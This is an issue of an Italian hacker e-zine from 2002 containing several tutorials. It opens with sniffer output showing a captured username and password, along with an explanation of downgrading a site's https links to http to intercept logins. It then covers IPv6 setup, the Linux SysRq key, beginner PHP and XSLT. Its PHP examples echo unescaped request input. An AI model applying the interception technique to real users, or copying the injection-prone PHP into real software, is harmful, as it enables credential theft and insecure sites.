| ? 2) 192.168.1.35:1065 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 3) 192.168.1.35:1066 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 4) 192.168.1.35:1067 <--> xx.xx.xxx.xxx:80 ? CLOSED ? www |
| ? 5) 192.168.1.35:1068 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 6) 192.168.1.35:1069 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 7) 192.168.1.35:1070 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 8) 192.168.1.35:1071 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 9) 192.168.1.35:1072 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 10) 192.168.1.35:1073 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 11) 192.168.1.35:1074 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 12) 192.168.1.35:1075 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
| ? 13) 192.168.1.35:1076 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? 14) 192.168.1.35:1077 <--> xxx.xxx.xxx.xxx:80 ? KILLED ? www |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ?? Your IP: 192.168.1.4 MAC: 00:00:00:00:00:00 Iface: eth0 Link: HUB ??? |
| ? USER: isi |
| ? PASS: secret http://www.xxxxxx.it/xxxxxx/jsp/login/login.html |
| ???????????????????????????????????????????????????????????????????????? |
| |
| I link presenti in home page che conducono a pagine accessibili tramite |
| protocollo sicuro https possono essere modificati al volo in favore di |
| link http potenzialmente insicuri, in questo modo tali pagine si |
| prestano a loro volta a subire modifiche da parte di un malintenzionato. |
| Sul sito stesso si possono per di più reperire le seguenti informazioni: |
| |
| "Di norma, i browser visualizzano nella barra inferiore l'icona di un |
| lucchetto chiuso per avvisare l'utente che sta navigando in pagine |
| sicure. |
| |
| Ill sito xxxxxx, per rendere più veloce la navigazione e le |
| operazioni, è stato strutturato a "
frames": ciò significa che tutte |
| le pagine vengono caricate all'interno di una cornice che rimane |
| costante. |
| Tutte le pagine del sito xxxxxx nelle quali avviene l'inserimento o |
| l'invio di dati sono sicure e protette: la mancata visualizzazione |
| del lucchetto chiuso da parte del browser dipende dalla struttura a |
| frames*."
|
| |
| Il fatto che il sito NON visualizzi mai l'icona del lucchetto fa si che |
| l'utente non riscontri alcuna anomalia durante le operazioni di login. |
| L'unico modo per proteggersi da questa forma di attacco è quello di |
| forzare l'accesso al sito esclusivamente in https in quanto un link |
| https in una pagina accessibile tramite protocollo http può essere |
| vittima di alterazioni che lo rendono a sua volta insicuro! |
+--------------------------------------------------------------------------+




+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #08 - 01/11/2002 |
| iMP0STARE iL DUAL STACK IPV6 / IPV4 [Master^Shadow] 0x08/0x1A |
+--------------------------------------------------------------------------+
| <Intro /> |
| Ho scritto questa semplicissima guida per permettere a tutti di |
| utilizzare il protocollo IPV6, la nuova generazione di IP Address. |
| Penso che oramai tutti sappiano che la vecchia generazione Ipv4 ha |
| quasi raggiunto il limite massimo di indirizzamento e che, se non |
| aggiornata, non si potranno più aggiungere altri indirizzi. |
| Ipv6 è quindi il successore di Ipv4. E' un protocollo a 128 bit e |
| offre una capacità di indirizzamento praticamente illimitata |
| rispetto a quella offerta dai 32 bit di Ipv4. |
| Il nuovo protocollo è inoltre stato studiato per aumentare la |
| sicurezza, gestibile ora a bassissimo livello, e per evitare i vari |
| metodi di sniffing e spoofing. |
| Ovviamente non è tutto oro quello che luccica: un motivo di |
| preoccupazione security-related per Ipv6 è la sua caratteristica di |
| autoconfigurazione. |
| Questo permetterebbe di immettersi abbastanza facilmente in una lan |
| Ipv6 e perciò questa caratteristica va presa con le pinze. |
| Una caratteristica di Ipv6 è inoltre quella di incompatibilità con |
| Ipv4. |
| E' perciò necessario implementare il dual stack nelle varie box e |
| riscrivere diverse applicazione web. |
| |
| <Win2k /> |
| Per utilizzare Ipv6 sotto Windows2000 occorre un sistema aggiornato |
| almeno a Service Pack 1 o a Service Pack 2. |
| Se siamo il possesso di queste caratteristiche dobbiamo scaricare |
| l'Ipv6 stack per SP1 o SP2. |
| |
| Cerchiamo su google il nome del file stack e scarichiamolo: |
| |
| Stack Ipv6 per W2k SP1: tpipv6-001205.exe |
| Stack Ipv6 per W2k SP2: tpipv6-001205-SP2-IE6.zip |
| |
| Installiamo lo stack dalla cartella setup del package cliccando su |
| hotfix e riavviamo il sistema. |
| Una volta riavviato se non si possiede una scheda di rete bisogna |
| installarne una virtuale in loopback. Per fare ciò bisogna andare in |
| Pannello di controllo e premere Installa nuovo hardware. |
| Premiamo aggiungi nuova periferica e poi scegliamo di selezionare |
| l'hardware da un elenco. Come produttore scegliamo Micro$oft e come |
| prodotto Scheda micro$oft loopback. |
| Ora abbiamo una scheda di rete installata... |
| L'ultimo passo per installare Ipv6 su Win2k è quello di |
| visualizzare le proprietà della rete locale in Rete e connessioni |
| remote. Una volta aperta |
| la dialog è necessario premere installa e scegliere Protocollo e poi |
| Aggiungi. Scegliamo Microsoft Ipv6 Protocol e abbiamo finito. |
| |
| <WinXP /> |
| Windows XP viene fornito da Microsoft già pronto per Ipv6. E' |
| necessaria la battitura di un solo comando per avere la nostra box |
| già pronta per Ipv6. |
| Aprire il dialog Esegui dal menu Start e scrivere al suo interno il |
| comando "ipv6 install" senza le virgolette. |
| Verrà tutto configurato automaticamente e avremo già disponibile un |
| tunnel broker fornito dalla Microsoft per la nostra navigazione |
| Ipv6. |
| |
| <Linux_Kernel_2.2.x /> |
| Per avere il supporto Ipv6 in Linux occorre ricompilare il kernel |
| per abilitare le funzioni per noi interessanti. |
| Entriamo come utente root e portiamoci in /usr/src/linux e |
| cominciamo la configurazione con "make config" (testuale) o "make |
| menuconfig"
(con menu) o "make xconfig" (grafica, necessita |
| XServer). |
| |
| In "Code maturity level options" abilitiamo: |
| - Prompt for development and/or incomplete code/drivers |
| |
| In "Networking Options" abilitiamo: |
| - Kernel/User netlink socket |
| - Netlink device emulation |
| - The IPv6 protocol (EXPERIMENTAL) |
| - IPv6: enable EUI-64 token format |
| - IPv6: disable provider based addresses |
| |
| Ricompiliamo il kernel e impostiamo Lilo per caricare la nuova |
| immagine |
| (Vedi il kernel-howto per sapere come ricompilare il kernel). |
| Ora siamo pronti per Ipv6! |
| |
| <Linux_Kernel_2.4.x /> |
| Anche sul kernel 2.4 occorre ricompilare il kernel: |
| portiamoci in /usr/src/linux e diamo il solito "make menuconfig" |
| |
| Questa volta abilitiamo: |
| In "Code maturity level options": |
| - Prompt for development and/or incomplete code/drivers |
| |
| e in "Networking Options": |
| - Kernel/User netlink socket |
| - Routing messages |
| - The IPv6 protocol (EXPERIMENTAL) |
| |
| Ricompiliamo il kernel e siamo pronti per Ipv6. |
| |
| <Tunnel_Broker /> |
| Un tunnel broker è un servizio che ci permette di navigare in Ipv6 |
| attraverso Ipv4. I maggiori provider di Tunnel Broker in Italia sono |
| Edisontel e Telecomitalialab ma ci sono altri numerosi ottimi |
| tunnel. |
| |
| Mi impegno però a darvi qualche url di tunnel broker: |
| http://www.6bone.it |
| http://www.6b0ne.org |
| http://www.telecomitalialab.net |
| http://www.6bone.mine.nu |
| http://www.freenet6.net |
| http://www.xs26.net |
| http://ipv6tb.he.net |
| |
| <Tunnel_Broker_Config_Windows /> |
| Basta dare questa semplice serie di comandi per avere il nostro |
| servizio di tunneling ben configurato sotto windows 2k o xp. |
| In esegui dare: |
| ipv6 rtu 2000::/3 2/::SERVERIPV4 pub |
| ipv6 adu 2/TUOIPV6 |
| |
| dove SERVERIPV4 è l'indirizzo Ipv4 del server che ci da il |
| tunneling e TUOIPV6 è l'indirizzo Ipv6 che ci ha assegnato il |
| fornitore del servizio. |
| Ovviamente bisogna aggiornare il nostro Ipv4 sul server ad ogni |
| connessione dial up (quando cambia l'ip) ma questo varia da |
| fornitore a fornitore di tb |
| |
| <Tunnel_Broker_Config_Linux /> |
| In Linux la procedura è un pelo più complessa poichè bisogna |
| settare anche l'instradamento per Ipv6. |
| L'operazione può essere però sintetizzata nei seguenti comandi, da |
| lanciare con permessi di root (superuser): |
| |
| ifconfig sit0 up |
| ifconfig sit0 add TUOIPV6 |
| route -A inet6 add 2000::/3 gw ::SERVERIPV4 |
| |
| SERVERIPV4 è l'indirizzo Ipv4 del server mentre TUOIPV6 è il nostro |
| indirizzo Ipv6 fornito dal server di tunneling. |
| |
| Anche in questo sistema operativo bisogna aggiornare il nostro Ipv4 |
| sul server e ciò può essere fatto con la moltitudine di script |
| preconfezionati o con il semplice utilizzo di wget o lynx e un po' |
| di bash. |
| |
| <Applicazioni_Ipv6_Ready /> |
| Praticamente inesistenti su Windows, le applicazioni Ipv6 su linux |
| non mancano :-) |
| Unico programma Ipv6 Ready su windows è la versione alpha di Kvirc |
| mentre per il resto è necessario un piccolo bouncer ipv4/ipv6 |
| chiamato relay6, |
| facilmente trovabile online con un ricerca su google. |
| In linux basta ricompilare i programmi con il flag --enable-ipv6 e |
| avremo il supporto della maggioranza dei software. |
| |
| <In_realtà /> |
| Nella realtà l'utilizzo intensivo di Ipv6 è veramente lontano e |
| questi non entrerà a far parte della vera internet prima del |
| 2005-2006... |
| Speriamo bene e che Ipv6 non ci assicuri brutte sorprese come ha |
| fatto lo stack Tcp/IP negli ultimi tempi... |
| |
| <Conclusione /> |
| Ora siamo pronti per Ipv6. Mi raccomando fatene buon uso :-) |
| |
| Master^Shadow /// HX Crew |
| Email: mastershadow<at>hackzxtreme<dot>cjb<dot>net |
| |
| <Saluti /> |
| Colgo l'occasione per salutare tutti gli amici che mi accompagnano |
| giorno dopo giorno in fantastiche discussioni, specialmente: |
| JeyOne, AndreaGeddon, _D31m0s_, Bartx, ThEgAmEr, JHTritolo, |
| Quequero, Quake2^AM, fDiskolo, Fen0x, TheMR, Vinx2o2o e tutti |
| quelli che ho involontariamente dimenticato :-P |
| Ovviamente un grosso ciao anche a tutti i fratelli di HackzXtreme |
| Crew e agli amici di UIC e di Ondaquadra! |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #08 - 01/11/2002 |
| LMSRK [spyro] 0x09/0x1A |
+--------------------------------------------------------------------------+
| Linux Magic System Request Key |
| |
| |
| Magic system request key è una funzione del kernel introdotta dalla |
| versione 2.2.x in poi. |
| Questa funzione serve a richiamare e a dare comandi(quindi tramite |
| tastiera) al nostro kernel nel caso in cui per esempio vada in kernel |
| panic o si blocchi per altre motivazioni. |
| Perl abilitarlo nel propio kernel, dobbiamo mettere yes alla richiesta: |
| |
| 'Magic SysRq key (CONFIG_MAGIC_SYSRQ)' |
| |
| nella configurazione del kernel ,mettendolo in modalità built-in. |
| Una volta che abbiamo il kernel con supporto SysRq compilato, può |
| essere disabilitato il comando: |
| |
| echo "0" > /proc/sys/kernel/sysrq |
| |
| Le versioni precedenti disabilitavano sysrq di default, e si era |
| richiesti di abilitarlo specificatamente al run.time, ma adesso non è |
| più così. |
| |
| La combinazione dei tasti, varia da piattaforma a piattaforma. |
| Ecco uno schemettino che vi renderà meglio l'idea: |
| |
| Piattaforma Tasti di coamando Commento |
| x86 ALT-SYSRQ-[tasti di comando] SYSRQ = Print Screen |
| SPARC ALT-STOP-[tasi di comando] |
| PowerPC ALT-Print Screen-[tasti di coamndo] Print screen,altrimenti F13 |
| |
| E Adesso tabella con i tasti magici ;) |
| Tasto Funzione |
| s Tenta di sincronizzare tutti i file system |
| precedentemente montati |
| |
| u Tenta di rimontare tutti i file system |
| precedentemente montati(mount) |
| in modalità read-only(sola lettura) |
| |
| b Tenta di reboottare all'instante il sistema |
| (Così da non danneggiare o bloccare il sistema |
| ulteriormente, cosa che potrebbe accadere |
| premendo il tasto di reboot dal computer) |
| |
| p Stampa i settaggi dei registri e le flag correnti, |
| nell'attuale console di lavoro |
| |
| t Stampa la lista dei tasks e le sue relative |
| informazioni correnti, nell'attuale console di lavoro |
| |
| e Manda un segnale SIGTERM a tutti i processi, |
| a eccezzione di quelli caricati dall'init |
| |
| i Manda un segnale SIGKILL a tutti i processi, |
| a eccezzione di quelli caricati dall'init |
| |
| l Manda un segnale SIGKILL a tutti i processi(init |
| inclusi) |
| |
| |
| |
| Dove trovo nel kernel la sezione per abilitare Magic sys request? |
| Faccio esempio dalla mia slackware con kernel 2.4.x |
| Prima di tutto entrare nella dir contenente i sorgenti: |
| |
| # cd /usr/src/linux |
| |
| (naturalmente bisogna avere privilegi root) |
| Facciamo partire il programma di configurazione: |
| |
| # make menuconfig |
| |
| (In testuale) |
| Se volete la versione grafica: |
| |
| # make xconfig |
| |
| Adesso dal menu andiamo fino all'ultima voce: |
| Kernel hacking ----> |
| |
| Permiamo invio |
| Ci troveremo davanti: |
| |
| [_] Kernel Debugging |
| |
| Selezioniamolo e premiamo lo space(barra di scorrimento): |
| |
| Si aprirà un menu ad albero, tra cui la voce: |
| |
| [_] Magic SysRq key |
| |
| Andiamoci sopra,premiamo lo space in modo da abilitarlo in modalità |
| buil-in. |
| Quindi adesso comparirà come: |
| |
| [*] Magic SysRq key |
| |
| Adesso ci comparira` la domanda: Do you wish to save your new kernel |
| configuration? |
| |
| E noi premiamo su YES . |
| |
| (Così facendo salveremo le modifiche del kernel appena eseguite) |
| |
| Ok adesso diamo i comandi: |
| |
| |
| 1)make dep |
| |
| |
| 2)make clean |
| |
| |
| 3)make bzImage |
| |
| |
| 4)make modules |
| |
| |
| 5)make modules_install |
| |
| |
| Questi sono i 5 comandi che si danno di solito per ricompilare il |
| kernel. |
| |
| Spiegazione comandi: |
| |
| |
| 1) make dep: controlla le dipendenze |
| |
| esempio: |
| noi attiviamo il supporto framebuffer ma non attiviamo la vga, ci |
| pensa lui. |
| |
| |
| 2) make clean: elimina i file oggetto delle vecchie compilazioni |
| |
| |
| 3) make bzImage: Crea il nuovo kernel |
| |
| |
| 4) make modules: crea i moduli |
| |
| |
| 5) make modules_install: installa moduli in /lib/modules |
| |
| |
| Adesso ci vorrà un po prima che compili tutto, quindi non |
| preoccupatevi,lo deve fare :) |
| |
| |
| Adesso che abbiamo finito dobbiamo provare il nuovo kernel. |
| |
| Entriamo nella dir. /usr/src/linux/arch/i386/boot e copiamo il nuovo |
| kernel nella directory /boot . |
| |
| |
| cd /usr/src/linux/arch/i386/boot |
| |
| |
| mv bzImage /boot/newkernel |
| |
| |
| In questo modo copiamo il nuovo kernel nella dir. /boot chiamandolo |
| newkernel . |
| |
| |
| Adesso creiamo un nuovo label nel LILO per provare il nuovo kernel. |
| |
| Questo xche` se il nuovo kernel avra` problemi e crasha, noi avremo la |
| possibilita` di usare quello |
| |
| originale ovvero quello funzionante. |
| |
| |
| Creeiamo un nuovo label. |
| |
| Editiamo lilo.conf, che trovermeo nella dir. /etc ,con un qualsiasi |
| editor di testo e aggiungiamo le |
| |
| seguenti righe: |
| |
| image = /boot/newkernel |
| |
| root = /dev/hda6 |
| |
| label = newkernel |
| |
| read-only |
| |
| |
| |
| Spiegazione: |
| |
| image = /boot/newkernel : Il kernel che lilo deve caricare |
| |
| root = /dev/hda6 : Partizione in cui e` installato il Mount Point / |
| |
| label = newkernel : Nome che andra` digitato per caricare il |
| kernel /boot/newkernel |
| |
| read-only : In questo modo al momento del boot la partizione |
| sara` disponibile solo in lettura |
| |
| I dati qua sopra citati potete lascialri tutti come li ho settati io, |
| tranne root = /dev/hda6 . |
| |
| Li` dovrete mettere la vostra partizione root. |
| |
| Se non sapete qual'é, basta che controllate quella del label linux(di |
| solito si chiama cosi`). |
| |
| |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| boot = /dev/hda |
| |
| message = /boot/boot_message.txt |
| |
| prompt |
| |
| timeout = 1200 |
| |
| |
| |
| other = /dev/hda1 |
| |
| label = DOS |
| |
| table = /dev/hda |
| |
| |
| |
| image = /boot/mvlinuz |
| |
| root = /dev/hda6 |
| |
| label = Linux |
| |
| read-only |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| Come si nota il label linux usufruisce della partizione root /dev/hda6, |
| quindi il nostro lilo.conf |
| |
| modificato sara`: |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| boot = /dev/hda |
| |
| message = /boot/boot_message.txt |
| |
| prompt |
| |
| timeout = 1200 |
| |
| |
| |
| other = /dev/hda1 |
| |
| label = DOS |
| |
| table = /dev/hda |
| |
| |
| |
| image = /boot/newkernel |
| |
| root = /dev/hda6 |
| |
| label = newkernel |
| |
| read-only |
| |
| |
| |
| image = /boot/mvlinuz |
| |
| root = /dev/hda6 |
| |
| label = Linux |
| |
| read-only |
| |
| -------------------------------LiLo.C0nf------------------------------ |
| |
| Adesso salviamo e chiudiamo il file lilo.conf |
| |
| Dovremo far attuare le modifiche a lilo, tutto questo dando il comando: |
| lilo |
| |
| In questo modo eseguiremo lilo, che controllera` l'esistenza del kernel |
| nuovo da boottare. |
| |
| Non ci resta altro da fare che reboottare la macchina, e quando parte |
| il boot loader lilo scrivere: |
| |
| newkernel |
| |
| in questo modo partirà il nostro nuovo kernel con magic sys request key |
| attivo. |
| |
| Se notate che il nuovo kernel non dà + problemi, potete eliminare il |
| vecchio kernel e relativo label nel lilo.conf . |
| |
| Nel kernel 2.2.x, la funzione: |
| |
| |
| [_] Magic SysRq key |
| |
| Si trova sempre sotto la voce Kernel hacking. |
| Poi x la compilazione del kenrel e la configurazione di lilo, leggere |
| le istruzioni sopra riportate. |
| Beh, anche per questa volta è tutto. |
| Per maggior informazioni vi mando alla documentazione presente nella |
| directory dei doc del sorgenti del kernel |
| (/usr/src/linux/Documen

  
tation/sysrq.txt). |
| |
| Un saluto dal vostro SPYRO |
| |
| _________________________________ |
| | |
| E-mail: spyro2600[at]yahoo.it | |
| | |
| Url: www.spyrohack.com | |
| _________________________________| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iNTR0DUZi0NE A PHP [Lethalman] 0x0A/0x1A |
+--------------------------------------------------------------------------+
| Indice: |
| |
| 1.0 Nozioni principali |
| 1.1 Php in poche parole |
| 1.2 Il php nell'html |
| 1.3 Variabili |
| 1.4 Echo su più righe |
| |
| 2.0 Approfondimenti |
| 2.1 If, else, elseif |
| 2.2 Form |
| 2.3 While |
| 2.4 For |
| 2.5 Switch |
| |
| 3.0 Fine |
| 3.1 Nelle prossime puntate |
| 3.2 Links utili |
| 3.3 Conclusioni |
| |
| Requisiti: |
| Una buona base html |
| Una buona base di programmazione generale |
| __________________________ |
| | | |
| | 1.0 - Nozioni principali | |
| |__________________________| |
| __________________________ |
| | 1.1 - Php in poche parole |
| |
| Uno script php è semplicemente una pagina html all'interno della quale |
| viene inserito il codice, cioè le istruzioni che costituiscono il |
| programma. Per questo motivo php viene descritto come un |
| linguaggio "html-embedded". Il codice php viene eseguito sul server |
| prima che la pagina venga inviata al broswer (il "client"); il client, |
| quindi, vedrà solo il risultato (cioè l'output) del programma php. |
| _______________________ |
| | 1.2 - Il php nell'html |
| |
| Il primo esempio che vedremo sarà, inevitabilmente, il classico |
| messaggio di saluto "Ciao mondo" e ci servirà per mostrare la sintassi |
| da utilizzare per includere codice php in una pagina web. Ecco il |
| nostro sorgente: |
| |
| <html><head> |
| <title>Prova php</title></head> |
| <body> |
| |
| <?php // Questo è un commento su una riga. <? serve a dichiarare |
| l'inizio del php |
| echo "<h1>Ciao mondo!</h1>"; /* Commento a più righe. Con il comando |
| echo() abbiamo "stampato" nella pagina html 'Ciao mondo' */
|
| ?> // Fine php |
| |
| </body> |
| </html> |
| |
| Il risultato della pagina (html) sarà: |
| |
| <html><head> |
| <title>Prova php</title></head> |
| |
| <h1>Ciao mondo!</h1> |
| |
| </body> |
| </html> |
| |
| Come avrete visto non c'è ALCUNA TRACCIA del sorgente php ma solo |
| dell'output generato dal php. |
| ______________ |
| | 1.3 Variabili |
| |
| Le variabili in php si identificano con il segno $ davanti al nome |
| della variabile: $variabile. Facciamo qualche esempio: |
| |
| <? |
| echo "Le variabili numeriche devono essere settate senza apice"; |
| $a = 1; // Immetto il valore 1 nella variabile $a |
| $b = 2; |
| $c = $a + $b; // Faccio la somma tra $a e $b e lo metto in $c |
| echo "$c"; // Infine stampo il risultato |
| echo "<br><br>"; |
| echo "Le variabili contenenti stringhe devono essere settate con gli |
| apici"
; |
| $str = "Ciao"; // Metto la stringa "Ciao" nella variabile $str |
| echo "$str"; |
| ?> |
| |
| Guardate il risultato col vostro broswer. Come avrete capito, le |
| variabili contenenti numeri devono essere messe senza apici e le |
| stringhe con gli apici. Potete anche mettere i numeri negli apici ma |
| più avanti vi riscontrerete con alcuni problemini. Comunque c'è |
| qualcosa che... ma certo. Allora le variabili le posso anche mettere |
| nell'html. Ecco come: |
| |
| <? |
| $link = "http://www.ondaquadra.cjb.net"; |
| echo "<a href=\"$link\">Link</a>"; /* Avete già capito come va a |
| finire. Ma... cos'è \" ? Mettendo " echo si chiuderebbe e poi si |
| riaprirebbe e succederebbe un casino. Mentre con \" simula il vero " |
| che poi verrà stampato normalmente */
|
| ?> |
| ________________________ |
| | 1.4 - Echo su più righe |
| |
| Non vi spaventate. E' sempre il nostro comando echo fatto a più righe. |
| Guardate questo sorgente: |
| |
| <? |
| echo "Ciao come" // Senza ; vado daccapo e continuo su l'altra riga |
| ."va ?"; // Qui finisce l'echo su più righe |
| $var = "Bene"; |
| echo "<br>" |
| ."$var" |
| ." e tu?"; |
| ?> |
| |
| Questo forse vi sembrerà non importante ma cretetemi, prima o poi vi |
| servirà di certo. |
| _______________________ |
| | | |
| | 2.0 - Approfondimenti | |
| |_______________________| |
| |
| Bene. Spero avrete letto bene, moooolto bene le cose precedenti perchè |
| adesso si comincia un pò ad andare nel profondo. Quindi mano alla |
| tastiera e occhi sulla guida :P |
| _______________________ |
| | 2.1 - If, else, elseif |
| |
| Immancabile in ogni linguaggio di programmazione è la condizione. In |
| php si usa così: |
| |
| <? |
| $numero = 5; |
| if ($numero == 5) { // Se $numero è uguale a 5 allora |
| echo "Il numero è 5"; // Stampa che il numero è 5 |
| } elseif ($numero < 10 && $numero > 5) { /* && sta per: 'e' mentre || |
| (che qui non c'è) sta per: 'o' */
|
| echo "Il numero è tra 5 e 10"; |
| } else { // Altrimenti... |
| echo "Non è 5"; // ...stampa che non è 5 |
| } // Fine condizione |
| ?> |
| |
| Ecco un semplice esempio della struttura if. Comunque non c'è solo il |
| segno: == ma: |
| |
| == uguale |
| != diverso |
| < minore |
| > maggiore |
| <= minore o uguale |
| >= maggiore o uguale |
| |
| Adesso ho citato solo questi. |
| ___________ |
| | 2.2 - Form |
| |
| I form sono molto importanti per un migliore passaggio di informazioni |
| da una pagina ad un'altra. Vediamo come possiamo sfruttarli in php. |
| Creiamo 2 file di nome rispettivamente news.php e elaborato.php. Il |
| file news.php ci servirà dopo. Adesso prendiamo in considerazione |
| elaborato.php e scriviamo nel file: |
| |
| <? |
| echo "$segno"; |
| ?> |
| |
| Che cos'è $segno? Provate a digitare nella vostra bella barra di |
| navigazione: sito/elaborato.php?segno=Ciao |
| |
| Che cosa succede? Per magia è comparso "Ciao". E cos'è successo: |
| elaborato.php è il file. ? serve per passare dei dati al file, che in |
| questo caso è elaborato.php. I dati passati sono: segno=Ciao, come se |
| fosse una variabile. Ma... che c'è di familiare? Ah ecco. $segno e |
| segno. Infatti segno=Ciao e come scrivessimo prima del file: $segno |
| = "Ciao" e quindi... avrete già capito tutto. Vi ho spiegato in parole |
| povere come funziona il passaggio dei dati. Adesso vi chiederete: "Che |
| cavolo c'è lo hai fatto a fare news.php?"
è presto detto. Questo era |
| solo per farvi capire come funziona il passaggio dati. Adesso andiamo |
| ai form. Cosa fanno i form? Passano i dati :D. Scriviamo in news.php: |
| |
| <? |
| echo "<form action=\"elaborato.php\" method=\"post\">\n"; |
| echo "Valore segno: <input type=\"text\" name=\"segno\">\n"; |
| echo "<input type=\"submit\" value=\"Invia\">\n"; |
| echo "</form>"; |
| ?> |
| |
| Provate adesso :D Guarda un pò, esce quello che ho scritto nella |
| textbox, come mai? Beh io vi avevo avvertito di avere una buona base |
| html no? Il form passa i dati al file elaborato.php, in questo caso il |
| dato è 'segno' eh... capito come funziona vero? Passiamo a qualcosa di |
| più costruttivo. Scrivete in news.php: |
| |
| <? |
| echo "<center><h1>News</h1></center><br><br>\n"; |
| echo "<a href=\"elaborato.php?news=calcio\">Calcio</a> - <a |
| href=\"
elaborato.php?news=f1\">Formula 1</a> - <a href=\"elaborato.php? |
| news=basket>Basket</a>"; |
| ?> |
| |
| e adesso scrivete in elaborato.php: |
| |
| <? |
| if ($news == calcio) { |
| echo "
La Juventus ha comprato un nuovo giocatore"; |
| } elseif ($news == f1) { |
| echo "
Shumaker ha vinto ancora"; |
| } elseif ($news == basket) { |
| echo "
Mycol Jordan si è ritirato"; |
| } |
| ?> |
| |
| OK. Adesso aprite news.php e selezionate le news desiderate. |
| ____________ |
| | 2.3 - While |
| |
| L'intramontabile ciclo while eccolo anche su questi schermi. |
| |
| <? |
| $x = 1; |
| while($x < 10) { // Finquando $x è minore di 10 |
| echo "
$x - "; // Stampa $x |
| $x++; // Aumenta di 1 $x con ++ mentre -- decrementa di 1 la variabile |
| } |
| ?> |
| |
| Semplice vero? Beh, è inutile che faccia altri esempi se avete capito |
| le cose precedenti. Andiamo avanti. |
| __________ |
| | 2.4 - For |
| |
| Ed ecco l'altro mitico, immancabile ciclo For. Esempio: |
| |
| $y = 10; |
| for($x = 0; $x < $y; $x++) { /* Setta $x a 0, esegui finquando $x < $y |
| e aumenta $x di 1: $x++ */ |
| echo "
$x - "; |
| } |
| |
| In poche parole fa quello che abbiamo detto con while ma non pensiate |
| che sia la stessa cosa, dipende dall'uso che se ne deve fare. |
| ____________ |
| | 25 - Switch |
| |
| Questa è una cosa perlopiù indispensabile per i webmaster più esigenti. |
| Vi ricordate quella faticata delle news? Riprendiamole: |
| |
| news.php: |
| <? |
| echo "
<center><h1>News</h1></center><br><br>\n"; |
| echo "
<a href=\"elaborato.php?news=calcio\">Calcio</a> - <a |
| href=\"elaborato.php?news=f1\">Formula 1</a> - <a href=\"elaborato.php? |
| news=basket>Basket</a>"
; |
| ?> |
| |
| elaborato.php: |
| <? |
| switch($news) { // Prendiamo in considerazione la variabile $news... |
| case "calcio": // ... e se in caso è = calcio allora... |
| echo "La Juventus ha comprato un giocatore"; // ... fai questo |
| break; // Fine case |
| case "f1"; // stessa cosa di sopra |
| echo "Shumaker ha vinto ancora"; |
| break; |
| case "basket"; |
| echo "Non ne capiamo"; |
| break; |
| default: /* Oh, e questo cos'è? Questo è quando non c'è $news ovvero |
| elaborato.php e basta */
|
| echo "Devi selezionare una news da news.php"; |
| break; |
| } // Fine switch |
| ?> |
| |
| Bene, come avrete capito questa funzione è mooolto interessante vero? |
| Bene, sappiatela usare ed avrete delle pagine molto più dinamiche di |
| una normale pagina html. |
| ____________________ |
| | | |
| | 3.0 - Fine | |
| |____________________| |
| |
| Fine della guida (per adesso perchè ne farò altre sempre per il php). |
| _____________________________ |
| | 3.1 - Nelle prossime puntate |
| |
| Nelle prossime guide sul php fatte da me troverete qualcosa che vi può |
| interessare tipo date, altre info ma il più scottante è mysql. Infatti |
| parleremo soprattutto del database mysql, come connettersi, selezionare |
| database, tabelle ecc. |
| __________________ |
| | 3.2 - Links utili |
| |
| Qualche link utile ci vuole sempre: |
| www.php.net - Homepage ufficiale |
| www.phpitalia.com |
| http://php.resourceindex.com |
| _________________ |
| | 3.3 - Conlusioni |
| |
| Come avrete visto il php non è nulla di straordinario a programmarlo ma |
| è molto potente specialmente come vedremo nelle prossime puntate. |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iL SUCCESS0RE Di XSL [cyberdude] 0x0B/0x1A |
+--------------------------------------------------------------------------+
| XSLT TUTORIAL BY CYBERDUDE |
| |
| |
| Introduzione |
| |
| Ciao a tutti ragazzi,sono cyberdude, a quanto pare ci reincontriamo |
| ancora hihiihi ebbene si, non me ne vogliono proprio mandare da questa |
| crew! Dunque ragazzi, non so chi mi ha dato il coraggio di cominciare |
| a scrivere questo tutorial,forse questo fatto dipende dalla cosa che |
| io non conosco ancora questo linguaggio, infatti ho da poco comprato |
| in cartolibreria un mensile che non sto qui a citare per non fare |
| pubblicità inutile, nel quale è uscito questa guida! Quindi mentre |
| le leggo, scriverò in questo documento di testo quello che ne capisco! |
| ok? Sto ascoltando Certe notti di Ligabue nella veranda di casa mia |
| con il sole che mi batte in testa, sono le 2 del pomeriggio, oggi è |
| finalmente sabato!! sono da poco uscito da scuola, aspetto con ansia |
| l'arrivo dell'estate (siamo in Aprile)e in questo paradiso terrestre |
| inzia il mio studio all'XSLT !! Voi sarete i miei compagni di studio |
| iniziamo? Ok dai... pronti... partenza... via !! |
| _____________ |
| XSLT TUTORIAL |
| By Cyberdude |
| _____________ |
| XSL o eXtensible Stylesheet Language, è un linguaggio XML creato |
| inizialmente per fornire a XML un supporto per la formattazione |
| simile a CSS, ma potenziato per riflettere il linguaggio su cui viene |
| applicato, che non è più HTML o almeno questo è quanto io ne ho capito |
| vabbè dai è proprio così! XSLT (XSL Transformations) è il successore |
| di XSL, ed estende il concetto di foglio di stile fino a permettere |
| la manipolazione della struttura stessa del documento... infatti |
| permette di trasformare un documento XML filtrandone i dati e |
| riorganizzandoli in un’altra struttura XML!! capito? Beh che dire, |
| sappiate che XSLT possiede molte delle caratteristiche di un |
| linguaggio di programmazione imperativo! ok? |
